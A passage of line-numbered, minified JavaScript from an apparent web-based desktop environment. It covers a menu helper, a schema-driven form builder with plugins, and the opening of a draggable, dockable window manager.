5001 A = e.getBoundingClientRect(), d = e, e.appendChild(r), c = m = t, l = p = i, f = n, _ = o, y = s, L = a
5002 }
5003
5004 function o(e) {
5005 s.setAttribute("points", "0,0 0,0 0,0"), setTimeout(function() {
5006 "fromTriangle" === e && u(document.elementFromPoint(h, b), "mouseover")
5007 }, 1)
5008 }
5009 var r = document.createElementNS("http://www.w3.org/2000/svg", "svg"),
5010 s = document.createElementNS("http://www.w3.org/2000/svg", "polygon");
5011 s.setAttribute("points", "0,0 0,0 0,0"), s.setAttribute("fill", "transparent"), s.style.cssText = "pointer-events:auto;", r.style.cssText = "pointer-events:none;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;height:100%;z-index:1", r.appendChild(s), document.body.appendChild(r), document.addEventListener("mousemove", function(e) {
5012 h = c = m = e.pageX, b = l = p = e.pageY, i()
5013 });
5014 var a, c, l;
5015 s.onmousemove = function(i) {
5016 t(i.pageX, i.pageY) ? e() : o("fromTriangle"), setTimeout(function() {
5017 c = i.pageX, l = i.pageY
5018 }, 1)
5019 };
5020 var d, m, p, f, _, y, L, A = {};
5021 v = n, g = o
5022}();
5023var A = {
5024 mode: "popup",
5025 icons: "auto",
5026 recursive: !1,
5027 hide: !1,
5028 solo: !0,
5029 aim: !0,
5030 display: !0,
5031 closeOthers: !0,
5032 trigger: "mouseover",
5033 onclose: null,
5034 position: {
5035 within: window
5036 }
5037};
5038c.config = function(e) {
5039 $extend(A, e)
5040}, c.extend = function(e, t) {
5041 var i = $extend([], e);
5042 return $io.obj.all(t, function(e, t) {
5043 t.replace(/^((after|before|replace|delete|extend):)?(([\d.]+)|(.*))/, function(t, n, o, r, s, a) {
5044 function u(e, t) {
5045 var i;
5046 return $io.arr.each(t, function(n, o) {
5047 return n.name === e ? (i = {
5048 arr: t,
5049 pos: o
5050 }, !1) : (n.items && (i = u(e, n.items)), !i && void 0)
5051 }), i
5052 }
5053 if (s) {
5054 var c = s.split("."),
5055 l = +c.pop(),
5056 d = i;
5057 $io.arr.all(c, function(e) {
5058 var t = +e;
5059 d = d[t].items ? d[t].items : d[t]
5060 })
5061 } else if (a) var m = u(a, i),
5062 d = m.arr,
5063 l = m.pos;
5064 o && "before" !== o ? "after" === o ? $io.arr.insert(d, e, l + 1) : "extend" === o ? d[l] = $extend({}, d[l], e[0]) : "replace" === o ? d[l] = e[0] : "delete" === o && d.splice(l, 1) : $io.arr.insert(d, e, l)
5065 })
5066 }), i
5067}, e.$menu = c
5068}(window);
5069//js/ui/form.js
5070! function(e) {
5071function t(e, t) {
5072 if (e)
5073 for (var n = e.split(/\s+/), i = 0, a = n.length; i < a; i++) t(n[i])
5074}
5075
5076function n(e) {
5077 $extend(this, e)
5078}
5079
5080function i(e, a, r, l, d) {
5081 function u() {
5082 for (var e, t = C.querySelectorAll("[name]"), n = [], i = 0, a = 0, r = t.length; a < r; a++) {
5083 for (var o = t[a], l = -1, d = null, u = o.parentNode; u && 1 == u.nodeType;) u.classList.contains("ui_form__array__item") && (d || (d = u), l++), u = u.parentNode;
5084 if (l > -1) {
5085 void 0 === n[l] && (n[l] = -1), e !== d && (i < l ? n[l] = 0 : n[l]++);
5086 var c = 0,
5087 s = o.name.replace(/(\.?)(\d+)(?![^.\s])/g, function(e, t, i) {
5088 return t + n[c++]
5089 });
5090 o.name = s, o.id = "ui_form__" + s, e = d, i = l
5091 } else n.length = 0
5092 }
5093 }
5094
5095 function y(e) {
5096 for (var t = [], n = 0, i = A.children.length; n < i; n++) A.children[n].classList.contains("ui_form__array__item") && t.push(A.children[n]);
5097 if (e) var a, r;
5098 for (a = 0, r = t.length; a < r; a++) {
5099 var o = "ui_form_temp" + a + (Math.random() + "").slice(2);
5100 t[a].id = o, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_up").disabled = 0 === a, A.querySelector("#" + o + " > .ui_form__array__btns > .ui_form__btn_down").disabled = a === r - 1, t[a].id = ""
5101 }
5102 u()
5103 }
5104
5105 function g(e, t, n) {
5106 var i = b.cloneNode();
5107 i.className = "ui_form__array_btn ui_form__btn_" + t, i.innerHTML = o.default[t], i.onclick = n, e.appendChild(i)
5108 }
5109
5110 function N(t) {
5111 var n = document.createElement("div");
5112 n.className = "ui_toolbar ui_form__array__item";
5113 var r = i(e, a.items, "", l + "." + q++, t);
5114 n.appendChild(r.fragment);
5115 var o = document.createElement("div");
5116 return o.className = "ui_form__array__btns", g(o, "remove", function() {
5117 n.remove(), y()
5118 }), g(o, "up", function() {
5119 A.insertBefore(n, n.previousSibling), y()
5120 }), g(o, "down", function() {
5121 A.insertBefore(n, n.nextSibling.nextSibling), y()
5122 }), n.appendChild(o), A.appendChild(n), y(!0), r
5123 }
5124
5125 function $(e, t, n) {
5126 return e = o[t][n].call(a, e, $extend({}, a[t][n]))
5127 }
5128 var C = e.el,
5129 j = document.createDocumentFragment();
5130 if (!a) return {
5131 fragment: j
5132 };
5133 if ("object" === a.type) {
5134 E = c.cloneNode(!0);
5135 (x = s.cloneNode(!0)).className = "ui_form__tab ui_form__object", x.id = "ui_form__tab_" + e.id + "_" + v++;
5136 e.fields[l + "{}"] = F = new n({
5137 type: "object",
5138 path: l,
5139 fields: {},
5140 div: x
5141 }), (a.title || r) && (E.textContent = a.title || r, x.appendChild(E));
5142 k = p.cloneNode(!0);
5143 if (t(a.className, function(e) {
5144 k.classList.add(e), x.classList.add("ui_form__object--" + e.replace(/ui_form[-_]*/, ""))
5145 }), a.description && ((S = document.createElement("div")).className = "ui_form__description", S.innerHTML = a.description, x.appendChild(S)), $io.obj.each(a.properties, function(t, n) {
5146 var a = i(e, t, n, l ? l + "." + n : n, d && d.hasOwnProperty(n) ? d[n] : null);
5147 F.fields[n] = a, k.appendChild(a.fragment)
5148 }), x.appendChild(k), a.help) {
5149 var w = document.createElement("div");
5150 w.className = "ui_form__help", w.innerHTML = a.help, x.appendChild(w)
5151 }
5152 $io.obj.all(a.plugin, function(e, t) {
5153 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5154 }), j.appendChild(F.div)
5155 } else if ("array" === a.type) {
5156 var E = c.cloneNode(!0),
5157 x = s.cloneNode(!0),
5158 A = x;
5159 x.className = "ui_form__tab ui_form__array", x.id = "ui_form__tab_" + e.id + "_" + v++;
5160 e.fields[l + "[]"] = F = new n({
5161 type: "array",
5162 path: l,
5163 div: x,
5164 addItem: N,
5165 reorder: u,
5166 setValue: function(e, t) {
5167 $io.arr.all(document.querySelectorAll("#" + x.id + " .ui_form__array__item"), function(e) {
5168 e.remove()
5169 }), q = 0, O = e.length;
5170 for (var n = []; q < O;) {
5171 var i = N(e[q]);
5172 n.push(i), t(e[q - 1], i)
5173 }
5174 return n
5175 }
5176 }), t(a.className, function(e) {
5177 x.classList.add(e)
5178 }), E.innerHTML = (a.title || r) + " ";
5179 var L = b.cloneNode(!0);
5180 L.className = "ui_form__array_btn ui_form__btn_add", L.innerHTML = o.default.add, L.onclick = function() {
5181 N()
5182 }, E.appendChild(L);
5183 var M = m.cloneNode();
5184 M.name = l, M.value = l, M.setAttribute("data-is-array", !0), E.appendChild(M), x.appendChild(E), d || (d = []);
5185 for (var q = 0, O = d.length; q < O;) N(d[q]);
5186 $io.obj.all(a.plugin, function(e, t) {
5187 o.plugin[t] && o.plugin[t].call(a, F, a.plugin[t], e)
5188 }), j.appendChild(F.div)
5189 } else {
5190 if ("string" !== a.type && "boolean" !== a.type && "number" !== a.type && "integer" !== a.type) throw new Error("$form: unknown schema type : " + a.type);
5191 var T, k = p.cloneNode(),
5192 H = f.cloneNode();
5193 if (k.className = "ui_form__field", t(a.className, function(e) {
5194 k.classList.add(e)
5195 }), o.format[a.format] ? T = o.format[a.format].call(a) : a.enum ? (T = h.cloneNode(), $io.arr.all(a.enum, function(e) {
5196 Array.isArray(e) ? T.options[T.options.length] = new Option(e[0], e[1]) : T.options[T.options.length] = new Option(e, e)
5197 })) : "textarea" === a.format ? T = _.cloneNode() : (T = m.cloneNode(), "string" === a.type && (T.type = "text"), "number" !== a.type && "integer" !== a.type || (T.type = "number")), "boolean" === a.type) {
5198 T.type = "checkbox", "boolean" == typeof d ? T.checked = d : a.default && (T.checked = a.default);
5199 document.createElement("span")
5200 } else null !== d && void 0 !== d ? T.value = d : a.default && (T.value = a.default);
5201 if (a.placeholder && (T.placeholder = a.placeholder), !0 !== a.ignore && (T.name = l), T.id = "ui_form__" + l, H.setAttribute("for", "ui_form__" + l), H.innerHTML = a.title || r, (!0 === e.cfg.disabled || !0 === a.disabled || !0 === a.createOnly && !1 === e.cfg.create) && (T.disabled = !0), a.pattern && T.setAttribute("pattern", a.pattern), a.attributes && $io.obj.all(a.attributes, function(e, t) {
5202 "required" === t && a.required, "function" == typeof e ? T[t] = e : T.setAttribute(t, e)
5203 }), !0 === a.required && (H.innerHTML = H.innerHTML + ' <span title="required" class="ui_form__required">*</span>', T.required = !0), a.description) {
5204 var S = document.createElement("div");
5205 S.className = "ui_form__description", S.innerHTML = a.description
5206 }
5207 var F;
5208 e.fields[l] = F = new n({
5209 type: a.type,
5210 path: l,
5211 div: k,
5212 input: T,
5213 actionZone: T,
5214 label: H,
5215 getValue: function() {
5216 return this.input.value
5217 },
5218 setValue: function(e) {
5219 this.input.value = e
5220 },
5221 setFocus: function() {
5222 this.input.focus()
5223 },
5224 onFocus: function(e) {
5225 this.input.onfocus = e
5226 },
5227 onBlur: function(e) {
5228 this.input.onblur = e
5229 },
5230 onModif: function(e) {
5231 this.input.oninput = this.input.onkeyup = this.input.onchange = e
5232 }
5233 }), o.type[a.type] && "function" == typeof o.type[a.type] && $(F, "type", a.type), a.plugin = a.plugin || [], a.format && o.plugin[a.format] && (a.plugin[a.format] = !0), $io.obj.all(a.plugin, function(e, t) {
5234 o.plugin[t] && $(F, "plugin", t)
5235 }), "boolean" === a.type ? (F.div.appendChild(F.actionZone), F.div.appendChild(F.label), S && F.div.appendChild(S)) : (F.div.appendChild(F.label), S && F.div.appendChild(S), F.div.appendChild(F.actionZone)), a.hidden && F.div.classList.add("hide"), j.appendChild(F.div)
5236 }
5237 return Object.defineProperty(F, "fragment", {
5238 get: function() {
5239 return delete F.fragment, j
5240 },
5241 configurable: !0
5242 }), F
5243}
5244
5245function a(e, t) {
5246 var t = {},
5247 n = typeof e;
5248 return y.indexOf(n) > -1 ? t.type = n : Array.isArray(e) ? (t.type = "array", t.items = a(e[0])) : $io.isObject(e) && (t.type = "object", t.properties = {}, $io.obj.all(e, function(e, n) {
5249 t.properties[n] = a(e)
5250 })), t
5251}
5252
5253function r(e) {
5254 return e.properties && $io.obj.all(e.properties, function(t, n) {
5255 "object" === t.type && (t = r(t)), e.required && e.required.indexOf(n) > -1 && (t.required = !0)
5256 }), e
5257}
5258
5259function o(e, t) {
5260 return "FORM" == e.nodeName ? o.data(e) : o.build(e, t)
5261}
5262
5263function l(e) {
5264 var t = e.getAttribute("data-form-id");
5265 if (t && o.instances[t]) {
5266 var n = o.instances[t].fields;
5267 for (var i in n) n.hasOwnProperty(i) && n[i].save && n[i].save()
5268 }
5269}
5270var d = 0,
5271 u = document.createElement("form"),
5272 c = document.createElement("legend"),
5273 s = document.createElement("div"),
5274 p = document.createElement("div"),
5275 f = document.createElement("label"),
5276 m = document.createElement("input"),
5277 _ = document.createElement("textarea"),
5278 h = document.createElement("select"),
5279 b = (document.createElement("option"), document.createElement("button"));
5280b.setAttribute("type", "button"), _.setAttribute("rows", 4), s.className = "ui_form__tab", u.className = "ui_form";
5281var v = 0,
5282 y = "string number boolean null".split(" ");
5283o.instances = {}, o.build = function(e, t) {
5284 v = 0;
5285 var n = $extend({}, t),
5286 l = d++,
5287 c = u.cloneNode(),
5288 s = "ui_form_" + l;
5289 c.id = s, c.setAttribute("data-form-id", l), e.schema || (e.schema = a(e), e.data = e), e.schema.type ? e.schema = $extend({}, e.schema) : e.schema = {
5290 type: "object",
5291 properties: $extend({}, e.schema)
5292 }, e.schema = r(e.schema);
5293 var p, f = o.instances[l] = {
5294 id: l,
5295 el: c,
5296 cfg: n,
5297 schema: e.schema,
5298 data: e.data,
5299 fields: {},
5300 destroy: function() {
5301 this.el.remove(), delete o.instances[l]
5302 }
5303 };
5304 p = e.data ? i(f, e.schema, "", "", $extend({}, e.data)).fragment : i(f, e.schema, "", "").fragment;
5305 var m = document.createElement("button");
5306 return m.type = "submit", m.style.display = "none", p.appendChild(m), c.appendChild(p), f
5307}, o.onvalidate = function(e, t) {
5308 console.log(e, t)
5309}, o.validate = function(e) {
5310 l(e);
5311 var t = !0,
5312 n = "FORM" === e.tagName ? e.elements : e.length ? e : [e];
5313 return $io.arr.each(n, function(e, n) {
5314 e.validity.valid || (t = !1, o.onvalidate(e.validationMessage, e), 0 === n && (e.select(), e.focus()))
5315 }), t
5316}, o.data = function(e) {
5317 l(e);
5318 var t, n, i = {};
5319 return $io.arr.all(e.elements, function(e) {
5320 if ("" !== e.name && !e.disabled)
5321 if ("checkbox" === e.type) $io.obj.path(i, e.name, !!e.checked);
5322 else if ("number" === e.type) $io.obj.path(i, e.name, parseInt(e.value));
5323 else if ("select-multiple" === e.type) {
5324 for (t = [], n = e.options.length - 1; n >= 0; n -= 1) e.options[n].selected && t.push(e.options[n].value);
5325 $io.obj.path(i, e.name, t)
5326 } else e.getAttribute("data-is-array") ? $io.obj.path(i, e.name, []) : $io.obj.path(i, e.name, e.value)
5327 }), i
5328}, o.update = function(e, t) {
5329 console.warn("WARNING - TODO $form.update() with array"), t ? $io.obj.all(t, function(t, n) {
5330 e[n] && (e[n].value = t)
5331 }) : $io.arr.all(e.elements, function(e) {
5332 e.value = ""
5333 })
5334}, o.disable = function(e) {
5335 $io.arr.all(e.elements, function(e) {
5336 e.disabled && (e.wasDisbled = !0), e.disabled = !0
5337 })
5338}, o.enable = function(e) {
5339 $io.arr.all(e.elements, function(e) {
5340 e.wasDisbled || (e.disabled = !1)
5341 })
5342}, o.plugin = {}, o.format = {}, o.type = {}, o.default = {
5343 add: "+",
5344 remove: "-",
5345 up: "up",
5346 down: "down"
5347}, e.$form = o
5348}(this);
5349//os/ui/form.plugins.js
5350! function(e) {
5351"use strict";
5352$form.plugin.explorer = function(e, t) {
5353 var n = document.createElement("div");
5354 return e.btn = document.createElement("button"), e.btn.innerHTML = '<img height=16 width=16 src="' + le._path.skin + 'places/16/folder-open.png">', n.className = "ui_form_combo w100", n.appendChild(e.actionZone), n.appendChild(e.btn), e.actionZone = n, e.btn.onclick = function(n) {
5355 n.preventDefault(), setTimeout(function() {
5356 $explorer($extend({
5357 path: "/",
5358 browse: !0,
5359 onclose: function(t, n) {
5360 t && (e.input.value = n, $el(e.input).trigger("change"))
5361 }
5362 }, t))
5363 }, 0)
5364 }, e
5365}, $form.plugin.icon = function(e, t) {
5366 function n() {
5367 i.style.backgroundImage = "url(" + e.input.value + ")"
5368 }
5369 document.createElement("div");
5370 var i = document.createElement("button");
5371 return i.type = "button", i.className = "block left mr10 h50p w50p", i.style.backgroundRepeat = "no-repeat", i.style.backgroundPosition = "center", i.style.backgroundSize = "32px 32px", e.input.value || (e.input.value = "/c/sys/skins/w93/shortcut.png"), e.input.value = $fs.utils.normalizeIcon(e.input.value), n(), i.onclick = function(i) {
5372 i.preventDefault(), setTimeout(function() {
5373 $explorer($extend({
5374 path: "/c/files/images/icons/",
5375 accept: "image/*",
5376 browse: !0,
5377 onclose: function(t, i) {
5378 t && (e.input.value = i, n())
5379 }
5380 }, t))
5381 }, 0)
5382 }, setTimeout(function() {
5383 var o = e.input.form;
5384 t && t.watch && o[t.watch] && (o[t.watch].addEventListener("change", function(t) {
5385 if ("/c/sys/skins/w93/shortcut.png" === e.input.value) {
5386 var i, o = (this.value || "").split(" ")[0];
5387 (i = le._apps[o] && le._apps[o].icon ? le._apps[o].icon : $fs.utils.getIcon(this.value)) && "/c/sys/skins/w93/file.png" !== i && (e.input.value = i, n())
5388 }
5389 }, !1), $el(o[t.watch]).trigger("change")), o.insertBefore(i, o.firstChild)
5390 }, 0), e.div.classList.add("hide"), e
5391}
5392}();
5393//js/ui/window.js
5394! function(e) {
5395"use strict";
5396
5397function t(e) {
5398 function o(e) {
5399 e.preventDefault(), be.show(A, {
5400 at: "left+10 bottom+10",
5401 of: e,
5402 within: B.dest
5403 })
5404 }
5405
5406 function a(e) {
5407 e.preventDefault(), be.show(A, { of: this,
5408 within: B.dest
5409 })
5410 }
5411
5412 function y() {
5413 var e = B.baseWidth ? B.baseWidth : I.offsetWidth,
5414 t = B.baseHeight ? B.baseHeight : I.offsetHeight,
5415 i = !1,
5416 n = !1;
5417 if (e > q && (e = q, i = !0), t > D && (t = D, n = !0), I.style.height = t + "px", I.style.width = e + "px", R.classList.add("ui_window__body--flex"), R.removeAttribute("style"), !0 === B.minHeight ? I.style.minHeight = I.style.height : B.minHeight && (I.style.minHeight = "auto" == B.minHeight ? "auto" : B.minHeight + "px"), !0 === B.minWidth ? I.style.minWidth = I.style.width : B.minWidth && (I.style.minWidth = "auto" == B.minWidth ? "auto" : B.minWidth + "px"), B.center) B.top = ~~((D - t) / 2) + "px", B.left = ~~((q - e) / 2) + "px";
5418 else {
5419 if (B.top) B.noOut && B.top > D - t && (B.maxTop = !0, B.top = D - t + "px", I.style.top = B.top);
5420 else {
5421 var o = ~~(Math.random() * (D - t));
5422 B.top = o + "px"
5423 }
5424 if (B.left) B.noOut && B.left > q - e && (B.maxLeft = !0, B.left = q - e + "px", I.style.left = B.left);
5425 else {
5426 var a = ~~(Math.random() * (q - e));
5427 B.left = a + "px"
5428 }
5429 }
5430 "-4000px" === I.style.top && (I.style.top = n ? 0 : B.top), "-4000px" === I.style.left && (I.style.left = i ? 0 : B.left)
5431 }
5432
5433 function g(e) {
5434 this.classList.contains("ui_window_docked--minimized") ? (O(), I.classList.contains("ui_window--active") || t.active(Z)) : I.classList.contains("ui_window--active") ? (B.minimizable && W(), I.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 10) : t.active(Z)
5435 }
5436
5437 function x(e) {
5438 e.preventDefault(), be.show(A, {
5439 at: "left+10 bottom+10",
5440 of: e,
5441 within: B.dest
5442 })
5443 }
5444
5445 function L(e) {
5446 fe = !0, !1 !== B.onok.call(A, fe) && M(e)
5447 }
5448
5449 function z(e) {
5450 !1 !== B.oncancel.call(A, fe) && M(e)
5451 }
5452
5453 function k() {
5454 t.active(Z)
5455 }
5456
5457 function C() {
5458 re && (re.removeEventListener("click", g, !1), re.removeEventListener("contextmenu", x, !1), re && re.parentNode && re.parentNode.removeChild(re)), J && (J.removeEventListener("click", a, !1), J.removeEventListener("dblclick", M, !1), J.removeEventListener("contextmenu", a, !1)), B.contextmenuOnBody && R.removeEventListener("contextmenu", o, !1), B.header && j.removeEventListener("contextmenu", o, !1), B.btnCancel && se.removeEventListener("click", M, !1), B.btnOk && ce.removeEventListener("click", L, !1), ve && ve.parentNode && ve.parentNode.removeChild(ve), ve = null, B.resizable && K && $el(K).off("dblclick doubletap", H), B.maximizable && !K && $el(R).off("dblclick doubletap", H), B.draggable && oe.destroy(), B.resizable && ae.destroy(), ee && ee.destroy(), be && be.destroy(), I.removeEventListener("click", k, !1), I && I.parentNode && I.parentNode.removeChild(I);
5459 var e = $maxZ(".ui_window").el;
5460 e && t.active(1 * e.getAttribute("data-window-id")), B.ondestroy.call(A, e), s[Z] = null
5461 }
5462
5463 function E() {
5464 if (B.animationOut) {
5465 for (var e = !1, t = 0, i = I.classList.length; t < i; t++) I.classList[t] && 0 === I.classList[t].indexOf("fx_") && (e = !0);
5466 e ? C() : (I.classList.add("animated"), $animate(I, B.animationOut, function(e) {
5467 I.classList.remove("animated"), C()
5468 }))
5469 } else C()
5470 }
5471
5472 function $() {
5473 fe && B.onsubmit && !1 === B.onsubmit.call(A, fe, $form.data(he), he) ? fe = !1 : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5474 E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he)
5475 }) : (E(), B.onclose && B.onclose.call(A, fe, $form.data(he), he))
5476 }
5477
5478 function N(e) {
5479 !0 === e && (fe = !0), he ? $() : B.onbeforeclose ? B.onbeforeclose.call(A, function() {
5480 E(), B.onclose && B.onclose.call(A, fe)
5481 }) : (E(), B.onclose && B.onclose.call(A, fe))
5482 }
5483
5484 function T() {
5485 y(), setTimeout(function() {
5486 if (y(), he = I.getElementsByTagName("form")[0]) {
5487 var e = he.querySelector("[autofocus]");
5488 e && e.focus(), he.onsubmit = function() {
5489 return fe = !0, $(), !1
5490 }, A.el.form = he
5491 } else pe ? pe.focus() : R.focus();
5492 B.onready.call(A, I, R)
5493 }, 1)
5494 }
5495
5496 function M(e) {
5497 e.stopPropagation(), e.stopImmediatePropagation(), N()
5498 }
5499
5500 function H(e) {
5501 e && (e.stopPropagation(), e.stopImmediatePropagation()), I.classList.contains("ui_window--maximized") ? (I.classList.remove("ui_window--maximized"), V && (V.classList.remove("ui_window__head__maximized"), V.classList.add("ui_window__head__maximize")), I.classList.add("untransition"), I.removeAttribute("style"), I.setAttribute("style", _e), setTimeout(function() {
5502 I.classList.remove("untransition"), B.onresize(!1)
5503 }, 500)) : (_e = I.getAttribute("style"), I.classList.add("ui_window--maximized"), V && (V.classList.add("ui_window__head__maximized"), V.classList.remove("ui_window__head__maximize")), setTimeout(function() {
5504 B.onresize(!0)
5505 }, 500))
5506 }
5507
5508 function W() {
5509 if (B.dockable) {
5510 var e = I.getBoundingClientRect();
5511 we = {
5512 t: e.top + "px",
5513 l: e.left + "px",
5514 h: I.offsetHeight + "px",
5515 w: I.offsetWidth + "px"
5516 }, ve.style.display = "block", ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w, ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, I.classList.add("ui_window--minimized");
5517 var t = re.getBoundingClientRect();
5518 ve.style.top = t.top + "px", ve.style.left = t.left + "px", ve.style.height = re.offsetHeight + "px", ve.style.width = re.offsetWidth + "px", setTimeout(function() {
5519 ve.style.display = "none", re.classList.add("ui_window_docked--minimized")
5520 }, 300)
5521 }
5522 }
5523
5524 function O() {
5525 ve.classList.remove("ui_window_transfer"), ve.style.display = "block", ve.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon,.ui_window,.ui_z_indexed").num + 1, ve.classList.add("ui_window_retransfer"), setTimeout(function() {
5526 ve.style.top = we.t, ve.style.left = we.l, ve.style.height = we.h, ve.style.width = we.w
5527 }, 50), setTimeout(function() {
5528 ve.style.display = "none", I.classList.remove("ui_window--minimized"), re.classList.remove("ui_window_docked--minimized")
5529 }, 300)
5530 }
5531 "string" == typeof e && (e = {
5532 title: e,
5533 url: e,
5534 ajax: !1,
5535 width: 400,
5536 height: 300
5537 });
5538 var A, B = $extend({}, l, e),
5539 I = c.cloneNode(!1),
5540 j = r.cloneNode(!1),
5541 P = u.cloneNode(!1),
5542 R = m.cloneNode(!1),
5543 S = f.cloneNode(!1),
5544 Z = d++,
5545 q = B.dest.offsetWidth,
5546 D = B.dest.offsetHeight;
5547 if (B.caller = $io.isWindow(this) ? null : this, B.caller && B.caller.that && B.caller.that.window && $extend(B, B.caller.that.window), e.contextmenu && (B.contextmenu = $extend({}, l.contextmenu, B.contextmenu)), I.id = "ui_window_" + Z, I.setAttribute("data-window-id", Z), B.style)
5548 for (var F in B.style) B.style.hasOwnProperty(F) && (I.style[F] = B.style[F]);
5549 if (B.baseClass) {
5550 var G = B.baseClass.split(" ");
5551 $io.arr.all(G, function(e) {
5552 I.classList.add(e)
5553 })
5554 }
5555 if (B.contextmenuOnBody && R.addEventListener("contextmenu", o, !1), B.header) {
5556 if (B.icon) {
5557 var J = p.cloneNode(!1);
5558 J.src = B.icon, J.addEventListener("click", a, !1), J.addEventListener("dblclick", M, !1), J.addEventListener("contextmenu", a, !1), j.appendChild(J)
5559 }
5560 var K = _.cloneNode(!1);
5561 if (K.textContent = B.title || "", I.setAttribute("aria-labelledby", "ui_window__title_" + Z), K.id = "ui_window__title_" + Z, j.appendChild(K), j.addEventListener("contextmenu", o, !1), B.headerBtn)
5562 for (var Q = B.headerBtn.length - 1; Q >= 0; Q--) ! function(e) {
5563 var t = e.init.call(B);
5564 t && (e.el = document.createElement("button"), e.el.className = (e.className || "ui_window__head__" + e.name) + ("string" == typeof t ? " " + t : ""), e.title && (e.el.title = e.title), e.el.onclick = function(t) {
5565 e.action.call(A, t)
5566 }, j.appendChild(e.el))
5567 }(B.headerBtn[Q]);
5568 if (B.minimizable && B.dock && B.dockable) {
5569 var U = w.cloneNode(!1);
5570 U.onclick = W, j.appendChild(U)
5571 }
5572 if (B.maximizable) {
5573 var V = b.cloneNode(!1);
5574 V.onclick = H, j.appendChild(V)
5575 }
5576 if (B.closable) {
5577 var X = v.cloneNode(!1);
5578 X.onclick = M, j.appendChild(X)
5579 }
5580 I.appendChild(j)
5581 }(B.menu || B.beforeMenu || B.afterMenu) && I.appendChild(P);
5582 var Y;
5583 B.beforeMenu && ("string" == typeof B.beforeMenu ? (Y = document.createElement("div")).innerHTML = B.beforeMenu : Y = B.beforeMenu, P.appendChild(Y));
5584 var ee;
5585 if (B.menu) {
5586 var te = document.createElement("div");
5587 P.appendChild(te), ee = $menu(te, B.menu, {
5588 keyTarget: R,
5589 thisArg: B.menuThisArg || R,
5590 mode: "bar",
5591 position: {
5592 within: B.dest
5593 }
5594 })
5595 }
5596 var ie;
5597 if (B.afterMenu && ("string" == typeof B.afterMenu ? (ie = document.createElement("div")).innerHTML = B.afterMenu : ie = B.afterMenu, P.appendChild(ie)), I.appendChild(R), B.footer) {
5598 var ne;
5599 "string" == typeof B.footer ? (ne = document.createElement("div")).innerHTML = B.footer : ne = B.footer, S.appendChild(ne)
5600 }
5601 if ((B.footer || B.btnOk || B.btnCancel) && I.appendChild(S), I.style.top = (B.top || -4e3) + "px", I.style.left = (B.left || -4e3) + "px", R.style.width = "auto" == B.width ? "auto" : 1 * B.width + B.borderTopWidth + B.borderBottomWidth + "px", R.style.height = "auto" == B.height ? "auto" : 1 * B.height + B.borderLeftWidth + B.borderRightWidth + "px", B.dest.appendChild(I), B.automaximize && I.classList.add("ui_window--maximized"), B.draggable) {
5602 (K || I).classList.add("ui_window--draggable");
5603 var oe = $drag(I, {
5604 constrain: B.constrain,
5605 handle: K || I,
5606 onstart: function() {
5607 t.active(Z), i(this)
5608 },
5609 ondrag: function(e, t, i) {
5610 B.ondrag.call(A, e, t, i)
5611 },
5612 onstop: function() {
5613 n(this), B.ondragstop.call(A, I, R)
5614 }
5615 })
5616 }
5617 if (B.resizable) var ae = $resize(I, {
5618 handles: "all",
5619 start: function(e) {
5620 t.active(Z), i(e)
5621 },
5622 stop: function(e) {
5623 n(e), B.onresize.call(A, I, R)
5624 }
5625 });
5626 if (B.bodyClass) {
5627 var le = B.bodyClass.split(" ");
5628 $io.arr.all(le, function(e) {
5629 R.classList.add(e)
5630 })
5631 }
5632 if ("random" == B.animationIn && (B.animationIn = $io.arr.random($animate.i)), "random" == B.animationOut && (B.animationOut = $io.arr.random($animate.o)), B.animationIn && (I.classList.add("animated"), $animate(I, B.animationIn, function(e) {
5633 I.classList.remove("animated")
5634 })), B.btnCancel || B.btnOk) {
5635 var de = document.createElement("div");
5636 de.className = "ui_window__buttons", S.appendChild(de)
5637 }
5638 var se;
5639 B.btnCancel && ((se = document.createElement("button")).innerHTML = B.btnCancel, se.className = "ui_window__cancel", de.appendChild(se));
5640 var ce;
5641 if (B.btnOk && ((ce = document.createElement("button")).innerHTML = B.btnOk, ce.setAttribute("autofocus", "autofocus"), ce.className = "ui_window__ok", de.appendChild(ce)), B.dock && B.dockable) {
5642 var re = document.createElement("button"),
5643 ue = document.createElement("img"),
5644 me = document.createElement("span");
5645 re.className = "ui_window_docked", re.id = "ui_window_docked_" + Z, ue.className = "ui_window_docked__icon", me.className = "ui_window_docked__text ui_elipsis", B.icon && (ue.src = B.icon, re.appendChild(ue)), B.title && (me.textContent = B.title, re.title = B.title, re.appendChild(me)), B.dock.appendChild(re), re.addEventListener("click", g, !1), re.addEventListener("contextmenu", x, !1)
5646 }
5647 var fe = !1;
5648 B.btnCancel && se.addEventListener("click", z, !1), B.btnOk && ce.addEventListener("click", L, !1), B.activable && I.addEventListener("click", k, !1), B.resizable && K && $el(K).on("dblclick doubletap", H), B.maximizable && !K && $el(R).on("dblclick doubletap", H);
5649 var he, pe;
5650 B.url && !B.ajax ? ((pe = h.cloneNode(!1)).onload = T, pe.onerror = T, pe.onabort = T, pe.src = 0 == B.url.indexOf("www") ? "http://" + B.url : B.url, R.appendChild(pe), R.classList.add("ui_window__body--with_iframe"), B.title || (B.title = B.url)) : B.url && B.ajax ? $ajax.get(B.url).done(function(e) {
5651 var t = document.createElement("div");
5652 t.innerHTML = e, R.appendChild(t), T()
5653 }).fail(function() {
5654 $alert.error("ajax error")
5655 }) : B.ajax ? T() : ("string" == typeof B.html ? R.innerHTML = B.html : 1 !== B.html.nodeType && 11 !== B.html.nodeType || R.appendChild(B.html), T()), A = t.current = s[Z] = {
5656 id: Z,
5657 cfg: B,
5658 el: {
5659 base: I,
5660 body: R,
5661 header: j,
5662 title: K,
5663 footer: S,
5664 iframe: pe,
5665 form: he,
5666 btnCancel: se,
5667 btnOk: ce,
5668 menu: P,
5669 menubar: te,
5670 beforeMenu: Y,
5671 afterMenu: ie
5672 },
5673 close: N,
5674 destroy: C,
5675 maximize: H,
5676 minimize: W,
5677 restore: O,
5678 menu: ee,
5679 changeSize: function(e, t) {
